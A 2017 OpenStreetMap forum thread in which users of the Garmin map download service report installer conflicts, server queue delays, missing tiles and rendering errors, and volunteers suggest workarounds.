Recently however I have encountered an annoying little problem: when I wanted to add a new Garmin-OSm mapset generated via the garmin.openstreetmap.nl site (new style), it overwrote a previous map set in my Garmin Basecamp installation. I luckily keep the installation files so I reinstalled the older map set and ... the newest one was removed! What am I doing wrong???
I have checked that the tiles are stored in a seperate folder using the Javawa GMTK tool and also make sure that the map ID's and names are different.
I have noticed that it creates a directory named "OSM generic routable" (which is empty).
Further info: I'm running Windows 10 Home 64 bit.Any ideas to what I'm doing wrong? Why is the installer deleting a previous map set (and just the one by the way!)
Regards,
- Re: Worldwide routable Garmin maps: URL REMOVED · ligfietser (Gast) · 05.04.2017 10:49 · [flux]
You didnt do anything wrong, it's a known issue. All the custom maps get one and the same ID (2000). GMTK tool cannot change the settings of the uninstaller, better remove this uninstaller manually. You can also use the gmap (Mac version) and use GMTK to install it. The advantage is that the gmap version does not need the windows register, simply remove it from it from your hard drive will uninstall the maps. You still have to change the name and ID with GMTK if you want to install multiple custom maps.
- Re: Worldwide routable Garmin maps: URL REMOVED · rowin63 (Gast) · 07.04.2017 15:57 · [flux]
Hi!
I enjoy this service very much and use it very often. Thanks for that great job.
But why the two servers are so terrible unequal busy (40/1500 requests)?
And why my request always goes to the busier one?
A few weeks ago a request did not take longer than a very few hours...Thanks ,
Robert - Re: Worldwide routable Garmin maps: URL REMOVED · Flupke2000 (Gast) · 07.04.2017 23:19 · [flux]
Hi Ligfietser! Hartelijk dank voor je antwoord ;-)
And now back to English for the rest of us :-0
OK, so I can stop stressing-out now! ;-) I have launched a new request for maps and will download the Mac version this time instead of the Windows version and try it out with GMTK. Will let you know how things work out as soon as I've got the maps.
Just one thing: it used to work in the past (i.e. using the Windows installer package combined with GMTK) to install several different maps or did I just get lucky? (have currently 2 OSM mapsets installed in Basecamp, one of Cuba and one of South-Africa).ligfietser wrote:
You didnt do anything wrong, it's a known issue. All the custom maps get one and the same ID (2000). GMTK tool cannot change the settings of the uninstaller, better remove this uninstaller manually. You can also use the gmap (Mac version) and use GMTK to install it. The advantage is that the gmap version does not need the windows register, simply remove it from it from your hard drive will uninstall the maps. You still have to change the name and ID with GMTK if you want to install multiple custom maps.
- Re: Worldwide routable Garmin maps: URL REMOVED · ligfietser (Gast) · 08.04.2017 09:07 · [flux]
Flupke2000 wrote:
Just one thing: it used to work in the past (i.e. using the Windows installer package combined with GMTK) to install several different maps or did I just get lucky? (have currently 2 OSM mapsets installed in Basecamp, one of Cuba and one of South-Africa).
I'm not sure but I think that works only for the preselected country maps. They get a unique Map ID and also separate uninstallers.
- Re: Worldwide routable Garmin maps: URL REMOVED · Philatsea (Gast) · 15.04.2017 22:49 · [flux]
The server lately has been extra slow taking a couple of hours to download a 150 mb map.
Right now the servers are sayingosm.pleiades.uni-wuppertal.de/garmin/, queue = 106 requests (~0.4 days), status = OK
osm2.pleiades.uni-wuppertal.de/garmin/, queue = 2264 requests (~9.4 days), status = OKI don't think I have seen 9.4 days before.
Is there a problem because the other 2 servers are not there?
- Re: Worldwide routable Garmin maps: URL REMOVED · Philatsea (Gast) · 18.04.2017 05:11 · [flux]
Well I guess I have my answer since there is no service period as I type this.
- Re: Worldwide routable Garmin maps: URL REMOVED · anasarugacosta (Gast) · 19.04.2017 19:44 · [flux]
Hi
Your site does not work, do you know what's going on?
The following message appears:
Kind regardsSorry but this service is currently not available. Please come back after the weekend...
Thanks
- Re: Worldwide routable Garmin maps: URL REMOVED · tuhcsdliw (Gast) · 19.04.2017 23:08 · [flux]
Hello, when downloading the map for Romania (routable or newstyle routable), part of the tiles don't seem to be included. I tried to select the map from the pull down menu as wel as using manual selection of tiles from the world map, but every time the same tiles are missing. It does not seem to be caused by my GPS unit, however I have no way of checking the tiles that are not displayed are actually included/present in the files as I use the gmapsupp.img directly on the unit. Thanks and best regards.
- Re: Worldwide routable Garmin maps: URL REMOVED · ligfietser (Gast) · 20.04.2017 07:24 · [flux]
You can check it with a tool called Javawa Device Manager
- Re: Worldwide routable Garmin maps: URL REMOVED · tuhcsdliw (Gast) · 23.04.2017 18:50 · [flux]
Hello, regarding the map of Romania (post 19-04-2017), I downloaded it once more as preselection and once as own selection, but central and eastern tiles (Bucharest, Constanta - every time the same tiles) are somehow not included in the download. Now I not only verified this on the device, but on the computer as well. I don't see errors in the Pleiades log, nor when downloading. Best regards,
- Re: Worldwide routable Garmin maps: URL REMOVED · ligfietser (Gast) · 24.04.2017 09:52 · [flux]
I dont see anything missing on the Romania new style map from 19-04. Maybe you should emtpy your cache (2x ctrl-G) in Basecamp or Mapsource or remove all other old maps on your device?
- Re: Worldwide routable Garmin maps: URL REMOVED · wanderer52 (Gast) · 24.04.2017 13:23 · [flux]
Last Friday (April 21) I got the e-Mail with the message "You successfully requested a Garmin map",
and on Sunday morning (April 23) the current status of my request was "... request ... not be found in the queue. Most likely the map is already generated and you received another email containing the url ..., or you should receive that email shortly."
However, NO such e-Mail with the URL for download came in up to date. WHAT IS WRONG ?
(I did never encounter similar difficulties in the past, and I did not change my Google mail account since) - Re: Worldwide routable Garmin maps: URL REMOVED · ligfietser (Gast) · 24.04.2017 18:26 · [flux]
Wanderer52, maybe you should wait a little longer or else, just make another request.
osm2.pleiades.uni-wuppertal.de/garmin/, queue = 1566 requests (~6.5 days), status = OK
- Re: Worldwide routable Garmin maps: URL REMOVED · gdcadam (Gast) · 25.04.2017 07:59 · [flux]
Looks like things are running very slow at the moment! can anyone tell me if it will take 6.6 days to get my maps? Im heading away last minute and could really do with the maps.
- Re: Worldwide routable Garmin maps: URL REMOVED · ligfietser (Gast) · 25.04.2017 09:38 · [flux]
I don't have a clue how much time it takes, but if you are in a hurry you can look for another provider, try https://extract.bbbike.org/
- Re: Worldwide routable Garmin maps: URL REMOVED · wanderer52 (Gast) · 26.04.2017 12:25 · [flux]
ref.: #2734 & 2753
Apparently, maps build by requests that entered the queue ordinarily on April 21 got lost: The message about reaching the end of the queue and of sending e-mails with the download-link was issued on Sunday morning - but these download links did never arrive.
Instead, I got the downloads for a later request (originating from April 24) making clear that we cannot blame the e-mail servers. Rather, something was wrong with osm2.pleiades on last Friday/Saturday/Sunday. - Re: Worldwide routable Garmin maps: URL REMOVED · Cainer (Gast) · 28.04.2017 19:20 · [flux]
There are currently 2590 requests in the queue...
There is clearly something stuck. Can anyone find the paper jam in this machine and reset? 🙂
- Re: Worldwide routable Garmin maps: URL REMOVED · mschuns (Gast) · 28.04.2017 20:56 · [flux]
Please fix this terrible performance!!! one server is doing absolutly NOTHING! the other had over 2600 requests with a waiting time of more than 10 days!
- Re: Worldwide routable Garmin maps: URL REMOVED · k_b (Gast) · 29.04.2017 06:23 · [flux]
Hi.
I was requesting a map and got a tracking id.
http://osm2.pleiades.uni-wuppertal.de/g … 9e92089247Now it says there is no information, so the map should be ready.
But i have not received any email saying that i can download the map.
i had the same problem just a week ago, and i had to request the map again, but also this time i never got the ready-mail.
i checked if it ended up in spam, but no. i simply never got it.it also seems like the servers load is very unbalanced.
osm.pleiades.uni-wuppertal.de/garmin/, queue = 0 requests (~0 days), status = OK
osm2.pleiades.uni-wuppertal.de/garmin/, queue = 2540 requests (~10.6 days), status = OKdo you know if there are some problems currently?
- Re: Worldwide routable Garmin maps: URL REMOVED · nevw (Gast) · 29.04.2017 06:35 · [flux]
I suggest you try another provider until the site is up and running again...
http://wiki.openstreetmap.org/wiki/OSM_ … n/Download - Re: Worldwide routable Garmin maps: URL REMOVED · ligfietser (Gast) · 29.04.2017 12:55 · [flux]
k_b wrote:
do you know if there are some problems currently?
Unfortunately Lambertus doesn't seem to communicate so we don't know what's going on.
@Mschuns: shouting doesn't help here. If you don't behave you will be banned. - Re: Worldwide routable Garmin maps: URL REMOVED · grokit (Gast) · 01.05.2017 08:15 · [flux]
ligfietser wrote:
I don't have a clue how much time it takes, but if you are in a hurry you can look for another provider, try https://extract.bbbike.org/
thanks ligfietser,
I looked at bbbike and I have to say I like it.
There is only one drawback. it only creates .img files.
Anyone knows of an simple way to install the .img files to Garmin Basecamp?
I mean simpler than installing and configuring GMapTool and MapTk, etc..
Kind of point and click...
And not just adding the file to an USB drive into the \Garmin folder, but actually installing it as map in Basecamp... - Re: Worldwide routable Garmin maps: URL REMOVED · nevw (Gast) · 01.05.2017 09:02 · [flux]
Basecamp can use the .img file on your device. You don't need to install your maps on the pc.
- Re: Worldwide routable Garmin maps: URL REMOVED · grokit (Gast) · 01.05.2017 12:59 · [flux]
nevw wrote:
Basecamp can use the .img file on your device. You don't need to install your maps on the pc.
Yes, this is what I mentioned indirectly with USB drive and putting the .img file into the Garmin folder on that drive. A Garmin device is (more or less) nothing else than a USB storage for BaseCamp.
However, if I remove the device (or USB) from the PC, I will loose access to the .img map.
This is one of the reasons I want to actually install the .img file into BaseCamp. The website garmin.openstreetmap.nl allows me to download not only the .img file, but also the installer exe to add the map to BaseCamp.
This is what I miss on bbbike.com. This site, is focussed only on devices and this .img files.
- Re: Worldwide routable Garmin maps: URL REMOVED · ligfietser (Gast) · 01.05.2017 14:11 · [flux]
Grokit, a workaround is to drag and drop the gmapsupp.img onto the osmcombiner tool. It can make an installable map for Basecamp. The only drawback is that the img doesn't contain the tiles for the overview map, you need to zoom in a little bit more until you will see the map.
- Re: Worldwide routable Garmin maps: URL REMOVED · grokit (Gast) · 01.05.2017 14:33 · [flux]
Ah, cool. I will try that.
Thanks for the pointer! :-) - Re: Worldwide routable Garmin maps: URL REMOVED · muralito (Gast) · 01.05.2017 15:14 · [flux]
nevw wrote:
Basecamp can use the .img file on your device. You don't need to install your maps on the pc.
Sure, but the speed is not the same, and the storage space in the devices is limited and maybe not big enough for storing all the maps you want.
- Re: Worldwide routable Garmin maps: URL REMOVED · ligfietser (Gast) · 01.05.2017 15:20 · [flux]
muralito wrote:
nevw wrote:
Basecamp can use the .img file on your device. You don't need to install your maps on the pc.
Sure, but the speed is not the same, and the storage space in the devices is limited and maybe not big enough for storing all the maps you want.
It also works from a virtual drive: http://www.javawa.nl/virtualdevice.html 🙂
- Re: Worldwide routable Garmin maps: URL REMOVED · Runs-4-cache (Gast) · 09.05.2017 06:06 · [flux]
Maybe the logjam is clearing - the number of requests is finally decreasing, now down to ~1500 requests and 6.5 days although still only loaded on 1 server.
- Re: Worldwide routable Garmin maps: URL REMOVED · Hallodaarzoo (Gast) · 17.05.2017 18:29 · [flux]
I'm try now a few day's to download the map Germany.
The map is 1,5GB.Normally it takes about 5 minutes. Now the browser say's 9 hours or more.
So i did try one time to download the map only when youre almost done you get the messege the serverDownload canceld The server closed the connection
When i look at the server stats
osm.pleiades.uni-wuppertal.de/garmin/, queue = 0 requests (~0 days), status = OK
osm2.pleiades.uni-wuppertal.de/garmin/, queue = 2501 requests (~10.4 days), status = OKOne server is doing nothing and the other is very busy?
- Re: Worldwide routable Garmin maps: URL REMOVED · Harvey Kagakusha (Gast) · 02.06.2017 17:01 · [flux]
Does anyone know if the problem is likely to be resolved soon? The queue on 2/6/17 is enormous.
If not, can anyone recommend an alternative site? - Re: Worldwide routable Garmin maps: URL REMOVED · Mafketel (Gast) · 05.06.2017 18:20 · [flux]
ligfietser wrote:
muralito wrote:
nevw wrote:
Basecamp can use the .img file on your device. You don't need to install your maps on the pc.
Sure, but the speed is not the same, and the storage space in the devices is limited and maybe not big enough for storing all the maps you want.
It also works from a virtual drive: http://www.javawa.nl/virtualdevice.html 🙂
THAT is a rather good tip, Dankjewel 😉
For the rest I came here to check what was going on 😉 the queue seemed to have become a lot shorter very fast but I think my request has been lost.
I am on the road soon and have what i need with the state tiles.
Maybe it is a good idea to make a different selection for the Americas as ppl travel over state borders a lot and if you are in texas getting the texas map is fine but if you are up the east coast you need to get a lot of little states with a lot of overlap in between them.
If needed I can try to make some sane area selections. Both in terms of travel and file size.
I hope Lambertus is fine.
- Re: Worldwide routable Garmin maps: URL REMOVED · Glennpm1 (Gast) · 05.06.2017 22:57 · [flux]
I selected two sets a couple of days ago and glad for these maps. One was for the USA state of Maine and the other larger for a god portion of the USA east coast.
I got an email confirming receipt and providing the queue time. Both were finished about 10 hours ago but I haven't received a download link so far.
- Re: Worldwide routable Garmin maps: URL REMOVED · nevw (Gast) · 06.06.2017 07:01 · [flux]
Mate, the site has been near dead for over a year. Do yourself a favour and try another provider
http://wiki.openstreetmap.org/wiki/OSM_ … n/Download - Re: Worldwide routable Garmin maps: URL REMOVED · Glennpm1 (Gast) · 06.06.2017 12:20 · [flux]
Thanks for the heads up Nevw.
I was interested in these maps to get the Mapsource installer. My attempts at using the other available OSM maps and the various apps have failed. Getting them on my SD card is fine and the GPS is doing a decent job of recalculating.
- Re: Worldwide routable Garmin maps: URL REMOVED · Glennpm1 (Gast) · 06.06.2017 17:12 · [flux]
I agree on the great tip to use javawa, Dankjewel! Works fast and great.
Thanks,
GlennMafketel wrote:
ligfietser wrote:
muralito wrote:
Sure, but the speed is not the same, and the storage space in the devices is limited and maybe not big enough for storing all the maps you want.
It also works from a virtual drive: http://www.javawa.nl/virtualdevice.html 🙂
THAT is a rather good tip, Dankjewel 😉
- Re: Worldwide routable Garmin maps: URL REMOVED · ligfietser (Gast) · 06.06.2017 17:22 · [flux]
If you are looking for another selection for the US try http://daveh.dev.openstreetmap.org/garm … 017-06-01/
No Mapsource/Basecamp installer though... - Re: Worldwide routable Garmin maps: URL REMOVED · Glennpm1 (Gast) · 07.06.2017 16:52 · [flux]
Thanks
- Re: Worldwide routable Garmin maps: URL REMOVED · glassMonk (Gast) · 12.06.2017 04:38 · [flux]
Hello. I have garmin nüvi 40 navigator. Please, provide up-to-date build of Estonia map. This site http://gis-lab.info says to ask for the map update on this forum. Thank you.
- Re: Worldwide routable Garmin maps: URL REMOVED · nevw (Gast) · 12.06.2017 06:54 · [flux]
glassMonk, that is something you search for and download yourself.
The site referred to is likely this on in particular http://garmin.openstreetmap.nl/
Choose your predefined country under Europe>Estonia
There is a manual to guide you and if you find that you don't get a map in a few days, try another provider.Here are sites that produce Garmin suitable maps...
http://wiki.openstreetmap.org/wiki/OSM_ … n/Download - Re: Worldwide routable Garmin maps: URL REMOVED · glassMonk (Gast) · 12.06.2017 07:00 · [flux]
nevw wrote:
glassMonk, that is something you search for and download yourself.
Thank you. It looks like it is exactly, what i've been searching for.
- Re: Worldwide routable Garmin maps: URL REMOVED · ressl (Gast) · 26.06.2017 01:59 · [flux]
Hi,
there is a problem with a title. It is the one in Indonesia, located in southeast Borneo/Kalimantan (Samarinda/Balikpapan) and goes to northwest Sulawesi (Palu/Majene). I had downloaded the mapset in April. When I got to the area, all scales smaller than 8km are blank and no navigation is possible. If I'm outside of this title, everything works fine. I thought, maybe something went wrong with the download or the conversion and gave it a 2nd try yesterday. The map creation finished within 5 minutes, but when I uploaded it to my device, the same problem occurred. Is there a chance, that this will get fixed, or do I have to switch over to Google for this area?
Greetings, - Re: Worldwide routable Garmin maps: URL REMOVED · ligfietser (Gast) · 26.06.2017 08:41 · [flux]
ressl wrote:
Hi,
there is a problem with a title. It is the one in Indonesia, located in southeast Borneo/Kalimantan (Samarinda/Balikpapan) and goes to northwest Sulawesi (Palu/Majene). I had downloaded the mapset in April. When I got to the area, all scales smaller than 8km are blank and no navigation is possible. If I'm outside of this title, everything works fine. I thought, maybe something went wrong with the download or the conversion and gave it a 2nd try yesterday. The map creation finished within 5 minutes, but when I uploaded it to my device, the same problem occurred. Is there a chance, that this will get fixed, or do I have to switch over to Google for this area?
Greetings,Looking at the latest generic new style map for Indonesia, I dont see anything wrong with this tile.
Are you sure you don't have multiple maps on your device with the same tile number? - Re: Worldwide routable Garmin maps: URL REMOVED · ressl (Gast) · 26.06.2017 09:35 · [flux]
Ahm, sorry for the missing information, I'm using Generic Routable (old style). I'm pretty sure, there is no other mapset containing the same number, because on this device (Nüvi 1350) you can run only one gmapsup.img and the only other mapset, that is installed, is the one by factory (Europe 2011).
It looks to me, like the overview map is converted correctly, but the detailed maps below are missing or corrupt - Re: Worldwide routable Garmin maps: URL REMOVED · ligfietser (Gast) · 26.06.2017 12:51 · [flux]
Just checked the generic map on my old nüvi, don't see any issues with that tile either. Please try the Generic new map or include the mapnik typ file, maybe that will help?
- Re: Worldwide routable Garmin maps: URL REMOVED · Mafketel (Gast) · 08.07.2017 13:58 · [flux]
Just wanted to say thank you for fixing the whole queue thing, I appreciate it.
- Re: Worldwide routable Garmin maps: URL REMOVED · ressl (Gast) · 10.07.2017 11:33 · [flux]
Just wanted to report, that the new version solved the problem
- Re: Worldwide routable Garmin maps: URL REMOVED · BCDia (Gast) · 11.07.2017 12:53 · [flux]
Hi there, first of all I thank you for the work done on the garmin maps, it is really impressive.
I have a problem with routing in OSM between two points separated for more than 200km (approx) apart. If the distance between the routing points is larger than approx 200km then basecamp shows a straight line when using driving, motorcycling, ATV but not when using hiking, mountaneering, etc. On Garmin device it says there is no route between the two points in the same situations.
I use the OSM on basecamp and then download OSM maps from basecamp to my Garmin Zumo 595 LM that is subsequently mounted on my motorcycle. I saw the problem first time when I downloaded the Iran map last year. The workaround I used on the field was to split the route in several shorter routes but it needed me to stop driving and look on the paper map for one or more intermediate points.
I thought the problem was only for Iran map but last night I downloaded a map for western Russia, Belarus, Ukraine, Romania and tried to make a route. The same problems remained even though I installed basecamp 4.6.2 (the latest version) and after that I went down to versions like 4.4.6, 4.3.5, 4.3.1 to see if the problem still occur. And it does, none the less.
I am using basecamp on windows 7 and it runs in a virtualbox machine, if it does matter related to the problem I see.
I may say that OSM was great for my trip in Iran last year, very detailed and precise and it showed the gas stations along the route which was of really help especially in the desert. Great maps.
Thanks,
BThe first time I have
- Re: Worldwide routable Garmin maps: URL REMOVED · harenber (Gast) · 11.07.2017 13:05 · [flux]
A note to those who haven't received an e-mail:
You will get two e-mails, one immediately after you put the request into the system,
another one when the job has finished.If you did not get the first mail, chances are very high that you will not get the second!
Check that you really entered a correct address, check you Spam Folder and Spam setting and if all that still doesn't help, use a different email provider. Gmail for exmaple always worked fine for this service.
There is a surprising high number of false e-mail addresses which cannot be delivered (34 at the moment on sn21 alone, haven't checked the others). Generating these maps took time and the requests are lost now. So please double check your mail address and refrain from using any false ones like anything@example.com. You really need the link in the mail to use this service, so if you don't like to put in your mail address, please use another service. We don't save your addresses nor give them away to anybody.
T.
- Re: Worldwide routable Garmin maps: URL REMOVED · Mafketel (Gast) · 18.07.2017 18:47 · [flux]
@BCDia
I use to have routing problems on longer routes in Europe, nowadays It poses a lot less problems as the little details get fixed.
Usually the fastest is a better algorithm to deal with these problems.
Otherwise add routepoints in between and fix the map where it is broken. - Re: Worldwide routable Garmin maps: URL REMOVED · Beddhist (Gast) · 19.07.2017 23:25 · [flux]
There has been no map update since 10th June. Does the server need a bump start?
- Re: Worldwide routable Garmin maps: URL REMOVED · Evandort (Gast) · 26.07.2017 10:09 · [flux]
Some difficulties installing maps:
- Windows defender warning >>> Ignore
- AVG warning that file is suspicious >>> IgnoreFile wouldn't install due to insufficient rights.
In settings of AVG adjusted 'suspicious files' to decide myself and file installed successfully.
Others having same issue?
Ed
- Re: Worldwide routable Garmin maps: URL REMOVED · ligfietser (Gast) · 27.07.2017 10:58 · [flux]
Evandort wrote:
Some difficulties installing maps:
- Windows defender warning >>> Ignore
- AVG warning that file is suspicious >>> IgnoreFile wouldn't install due to insufficient rights.
In settings of AVG adjusted 'suspicious files' to decide myself and file installed successfully.
Others having same issue?
Ed
Yes Ed, unfortunately a lot of anti virus programms detect the installer as suspicious.
You can ignore those, and please submit those false positives at AVG or Windows.
If you can't ignore it or doesnt trust it anyway, you better install the Mac/gmap version (also for windows users, doesnt need an installer). - Re: Worldwide routable Garmin maps: URL REMOVED · Derby45 (Gast) · 03.08.2017 11:10 · [flux]
Hi, is there an issue with the latest Openfietsmap Lite United Kingdom tiles (31-07-2017)?
The rendering has gone completely wrong. For example major roads are shown as cycle routes, all paths are rendering red as cycle tracks. Farmland background showing a question mark.
I have tried individually selecting tiles, with the same issue and making sure previous versions were completely removed. The rendering issue happens on both basecamp and the Edge 1000.
Locally installed on my PC with windows basecamp map installer, placed IMG file onto SD card for used with Garmin device.
The issue happens with all other maps disabled, and in basecamp with the Garmin disconnected.
I've put a screenprint of the map to: http://imgur.com/a/02uGk - The red lines in this screenshot are footpaths, only the longer path at the lower right has the tag 'cycles=yes'.
- Re: Worldwide routable Garmin maps: URL REMOVED · ligfietser (Gast) · 04.08.2017 08:19 · [flux]
It sounds like the typ file is missing or has an ID that does not match with the map id. I am not able to check it nor fix it, but you can try to correct the installed map on your pc with http://www.javawa.nl/gmtk_en.html If GMTK is able to repair it, you can generate a new mapset for your device with Basecamp.
- Re: Worldwide routable Garmin maps: URL REMOVED · Derby45 (Gast) · 04.08.2017 09:04 · [flux]
Thanks I will try the software later 🙂
Could this become a regular issue? I am always downloading small updates about once a month for around 2 years (I'm a frequent mapper in my area). I havn't experienced anything like this before.
- Re: Worldwide routable Garmin maps: URL REMOVED · ligfietser (Gast) · 04.08.2017 10:10 · [flux]
No, it should be an error in the map compilation process. I have checked a small mapset (Malta) and the typ file seems ok, but the rendering looks like it does not read the typ file at all. This could not be fixed with GMTK. Could be a mkgmap bug too (maps are compiled with r3972). I have no idea to fix it or where this error comes from, I'll investigate it further, thanks for reporting!
- Re: Worldwide routable Garmin maps: URL REMOVED · Derby45 (Gast) · 04.08.2017 11:07 · [flux]
If it helps, I've noticed that all buildings are showing. Usually on the lite version I see that only named buildings display.
Tried the GMTK software but it showed there was also nothing to repair.
Have tried a previous verison of the Lite map, works perfectly.
- Re: Worldwide routable Garmin maps: URL REMOVED · ligfietser (Gast) · 04.08.2017 13:49 · [flux]
Good find! I think the OFM style is not processed but instead the default style is taken. What you get is the default style with the wrong typ file, resulting in this mess. I'll ask Lambertus to check and fix this, thanks again.
- Re: Worldwide routable Garmin maps: URL REMOVED · ligfietser (Gast) · 05.08.2017 13:26 · [flux]
@Derby:
Lambertus confirmed it was a configuration error on the server (instead of the OFM the generic style was processed). A fresh map is being compiled now. - Re: Worldwide routable Garmin maps: URL REMOVED · Derby45 (Gast) · 07.08.2017 12:36 · [flux]
I really appriciate the quick fix, thak you! I will keep an eye out for the latest update.
Glad to be of help 🙂
- Re: Worldwide routable Garmin maps: URL REMOVED · SouthAussieRoadie (Gast) · 10.08.2017 02:53 · [flux]
Hi All. I've been having issues with turn by turn directions on a downloaded course on my Garmin Edge 820. I have a European Model with Australian Open Street Base Map IMG loaded and have disabled all other maps. When I first purchased the unit the turn by turn directions worked and even re-calculated the route when I went off course but now I have no luck. The map will show up with the pink/purple route but will not give me any turn by turn directions. Is it possible that Garmin have updated their software to restrict people using non genuine maps?
Thanks for any input - I realise this is bordering on a Garmin issue and not specifically related to a mapping error but I'm at a loss for the issue and can't find any fixes elsewhere.
P.S I create and download my GPX files from Strava.
Cheers - Re: Worldwide routable Garmin maps: URL REMOVED · GerdP (Gast) · 10.08.2017 08:43 · [flux]
Maybe you downloaded a track gpx, not a route gpx?
If you browse the gpx file and it contains lots of "trkpt" you have a track, a route file contains "rtept" . - Re: Worldwide routable Garmin maps: URL REMOVED · SomeoneElse (Gast) · 10.08.2017 09:14 · [flux]
Never used one myself, but don't the cycling GPSs have a "follow track" option (i.e. specifically a track, not a route)? There have certainly been some questions along those lines over at http://help.openstreetmap.org .
- Re: Worldwide routable Garmin maps: URL REMOVED · ligfietser (Gast) · 10.08.2017 13:40 · [flux]
SouthAussieRoadie wrote:
I have a European Model with Australian Open Street Base Map IMG loaded
Where does this map come from, maybe it is not routable?
Is it possible that Garmin have updated their software to restrict people using non genuine maps?
Not that we know, I don't think this is the cause. It should be either in your settings (direct route instead of navigation by bike) or the map that is not routable.
- Re: Worldwide routable Garmin maps: URL REMOVED · GerdP (Gast) · 11.08.2017 07:31 · [flux]
SomeoneElse wrote:
Never used one myself, but don't the cycling GPSs have a "follow track" option (i.e. specifically a track, not a route)? There have certainly been some questions along those lines over at http://help.openstreetmap.org .
Yes, I think the Garmin Edge series offers this function, it alarms you when you leave the track, but it will not recalculate the route or
tell you how to get back on the track, so I think this is a different issue. - Re: Worldwide routable Garmin maps: URL REMOVED · Lerkel (Gast) · 16.08.2017 21:22 · [flux]
Hello,
I didn't find anything similiar, so I post it here. I tried to install several countries today, like Germany, Denmark or area consisting of Latvia, Lithuania and Estonia. My Avast antirus first stopped the installation process due to some ?virus?, I didn't catch it so have no evidence. I redownloaded Germany and got the same result. Redownloaded Latvia, Lithuania and Estonia strip and now Avast was calm but the install wizard came up with "OSM generic routable already installed". I checked the folder where all OSM maps are installed (to use by Basecamp) and each country was in folder named by the country. I checked it via Javawa GMTK and all the countries have unique name (country) in Basecamp (computer) and in device (Garmin) also.Do you have any suggestion how to overcome this? I don't want to uninstall any of the maps already present in Basecamp.
Thanks, Lukas.
- Re: Worldwide routable Garmin maps: URL REMOVED · Jorisbo (Gast) · 20.09.2017 15:04 · [flux]
Hello
Recently I finished a mkgmap-style and according TYP file which creates a 99,9% exact copy of the standard mapnik tile layer.
It refelects all the colors, elements, poi-icons and layout changes (without personal interpretations) up to the current OSM layout version v4.3.0 (2017-09-16)
Using this style and typ the garmin maps in basecamp and my Oregon gps look identical to openstreetmap.org
I started from the default mapnik style and put in some of ligfietsers style-sheet sections for routing and zooming of places (thx for the work).
The map is complete for zoomlevel 22-24 but on some other zoomlevels there is still some work to do hiding stuf.
If you like to give me some feedback already? that would be great. You can also e-mail me at jorisbo at hotmail
See github : Jorisbo/Mkgmap-Mapnik-Style-GarminYou'll find the style and TYP file as wel as some precompiled test areas for different countries and landuses
(Netherlands - Schiphol Airport, Germany/Austria - Chiemsee and Brixental Ski Area, Belgium - Zeebrugge Seaharbor, Spain - Bilbao city)There is also a TYP-file to display lambertus Generic New Style maps in OSM layout as good as possible based on his Style choices.
Groet Joris - Re: Worldwide routable Garmin maps: URL REMOVED · Philatsea (Gast) · 08.10.2017 01:37 · [flux]
I have noticed that when I select Generic Routable (new style) and then go to North America - Canada - British Columbia and look at the Map there are 3 tiles missing in the BC download. 2 of them are for Vancouver Island and Victoria and 1 for eastern BC on the border with the USA.
I also see an extra tile generated for Alberta in the BC download that isn't there in the Generic Routable.The Generic Routable is also missing the same tile for Eastern BC but has the 2 tiles for Victoria.
Try comparing the two maps and you will see what I mean.
Thanks.
- Re: Worldwide routable Garmin maps: URL REMOVED · TBKMrt (Gast) · 10.10.2017 17:43 · [flux]
Hello there!
I hope that the post from 2007 is still valid and feedback shoud be placed in here.I'm using the Generic Routable (new style) map and I'm very happy with it.
What I noticed was that a ways *_link way is not coloured correctly. So you have eg. a motorway way and you drive to that motorway on a motorway_link way. The motorway is coloured correctly, but the motorway_link way is not. Same goes for primary_link, etc. - Re: Worldwide routable Garmin maps: URL REMOVED · ligfietser (Gast) · 11.10.2017 15:35 · [flux]
TBKMrt wrote:
Hello there!
I hope that the post from 2007 is still valid and feedback shoud be placed in here.I'm using the Generic Routable (new style) map and I'm very happy with it.
What I noticed was that a ways *_link way is not coloured correctly. So you have eg. a motorway way and you drive to that motorway on a motorway_link way. The motorway is coloured correctly, but the motorway_link way is not. Same goes for primary_link, etc.The colours that we use for those highway links in the new generic map are the Garmin default colours. Garmin has decided to show highway links in different colours, don't ask me why. 😐 You can try to adapt it yourself by editting the typ file. Type 0x08 is for low speed highway ramps (primary_link and lower) and type 0x09 for motorway_link and trunk_link. See also https://github.com/ligfietser/mkgmap-st … 0new/lines and https://github.com/ligfietser/mkgmap-st … eric%20new. Also http://www.openfietsmap.nl/tips-tricks/customize for more information about editting the typ file.
- Re: Worldwide routable Garmin maps: URL REMOVED · Philatsea (Gast) · 18.10.2017 17:34 · [flux]
Philatsea wrote:
I have noticed that when I select Generic Routable (new style) and then go to North America - Canada - British Columbia and look at the Map there are 3 tiles missing in the BC download. 2 of them are for Vancouver Island and Victoria and 1 for eastern BC on the border with the USA.
I also see an extra tile generated for Alberta in the BC download that isn't there in the Generic Routable.The Generic Routable is also missing the same tile for Eastern BC but has the 2 tiles for Victoria.
Try comparing the two maps and you will see what I mean.
Thanks.
Any news on this?
- Re: Worldwide routable Garmin maps: URL REMOVED · GerdP (Gast) · 19.10.2017 11:08 · [flux]
This seems to be a problem with the code that selects the tiles. No idea where this has to be fixed.
However, you can select tiles manually. - Re: Worldwide routable Garmin maps: URL REMOVED · ligfietser (Gast) · 19.10.2017 15:31 · [flux]
The only one who can fix this is Lambertus. Better drop him an e-mail, he probably will not read it here.
- Re: Worldwide routable Garmin maps: URL REMOVED · Philatsea (Gast) · 21.10.2017 04:57 · [flux]
Thank you,
I have sent an email to Lambertus yesterday and noticed today that Generic Routable has been fixed but new routable has not been fixed.
Yes I am aware I could change to add the tiles missing but I was trying to download it right away rather than wait for it.
Thanks
- Re: Worldwide routable Garmin maps: URL REMOVED · ozboss (Gast) · 04.11.2017 16:40 · [flux]
can someone tell me when Routable Bicycle (Openfietsmap Lite) would updated.
Last downloaded files are from 06.08.2017. - Re: Worldwide routable Garmin maps: URL REMOVED · GerdP (Gast) · 04.11.2017 17:44 · [flux]
Where do you get this date from? The web page says "Map version: 03-11-2017"
- Re: Worldwide routable Garmin maps: URL REMOVED · ozboss (Gast) · 04.11.2017 18:33 · [flux]
only the Generic Routable files are updates
if you switch to bicycle map so you can reed my posted Date in Food of map - Re: Worldwide routable Garmin maps: URL REMOVED · GerdP (Gast) · 06.11.2017 12:18 · [flux]
YOu are right, I guess something is broken and nobody noticed. Please contact Lambertus in a private mail, he probably doesn't read this forum.
- Re: Worldwide routable Garmin maps: URL REMOVED · ligfietser (Gast) · 12.11.2017 13:11 · [flux]
Thanks for reporting, I've contacted Lambertus and he will look into it soon.
- Re: Worldwide routable Garmin maps: URL REMOVED · ozboss (Gast) · 14.11.2017 08:22 · [flux]
now new bicycle maps downloadable - thanks for your work
